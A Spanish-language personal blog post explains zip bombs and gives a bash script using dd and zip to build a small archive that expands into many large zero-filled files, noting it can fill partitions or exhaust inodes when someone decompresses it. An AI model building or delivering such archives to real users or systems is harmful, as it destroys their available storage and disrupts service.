Skip to content
56K

56K

La web de Fanta

Menu
  • Unix/Linux
  • Cacharreo
  • Games
  • Streaming
  • Notas
  • /dev/null
Menu

Zip of Death – Bombas que te llenan el disco duro

Posted on 11/10/202116/01/2023 by fanta

Las bombas zip en realidad pueden crearse en archivos tar.gz, rar, gz, lha, … . Se llaman bombas zip pero el formato podría ser cualquier otro.

Con dd podemos crear por ejemplo un archivo de 10 Mb así:

$ dd if=/dev/zero of=archivo.txt bs=1M count=10 status=none ; du -h archivo.txt


Eso generará un archivo llamado archivo.txt de 10 Mb.

 

En su interior el contenido son solamente ceros. Se puede ver así:

$ xxd -p archivo.txt

 

Ahora vamos a usar zip en un sencillo script en bash para crear una bomba

#!/bin/bash
dd if=/dev/zero of=archivo1.txt bs=1M count=100 status=none

for i in `seq 1 10`
do
        let x=i+1
        mv "archivo$i.txt" "archivo$x.txt"
        zip -9 bomba.zip "archivo$x.txt"
done


Si se quiere más y más grande se cambia seq 1 10 por por ejemplo seq 1 9999 pero tardará más.

El zip resultante ocupará muy poco pero si alguien lo descomprime tendrá 10 archivos de 100Mb . Jugando con el archivo inicial que creamos con dd (generando archivos de 1G por ejemplo) podemos rápidamente llenar particiones si alguien descomprime el zip resultante.

 

La bomba puede explotar en tamaño pero podría también explotar en número de archivos, es decir, tener tantos archivos pequeños que al descomprimir nos quedemos sin inodes.

 

Y eso es todo.

 

Saludos cordiales.

1 thought on “Zip of Death – Bombas que te llenan el disco duro”

  1. mariotrx dice:
    11/10/2021 a las 22:33

    interesante a la hora de descomprimir. Hay que tener mas cuidado.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Generic selectors
Exact matches only
Search in title
Search in content
Post Type Selectors

Comentarios recientes

  • fanta en i3wm en el ordenador del trabajo con 3 pantallas
  • Punk en i3wm en el ordenador del trabajo con 3 pantallas
  • Twicsy en Eliminar kernels viejos en redhat y liberar espacio en /boot
  • fanta en Capturar el audio de Firefox en archivos ogg en GNU+Linux
  • Jorge en Capturar el audio de Firefox en archivos ogg en GNU+Linux
  • fanta en Capturar el audio de Firefox en archivos ogg en GNU+Linux
  • Camilo en Capturar el audio de Firefox en archivos ogg en GNU+Linux
  • eovoltio en Mastodon.madrid se apaga el 12 de Octubre
  • fanta en Time Machine – Las Nuevas Aventuras de la Maquina del Tiempo sobre GNU+Linux
  • Alberto Salvia Novella en Time Machine – Las Nuevas Aventuras de la Maquina del Tiempo sobre GNU+Linux
©2023 56K | Built using WordPress and Responsive Blogily theme by Superb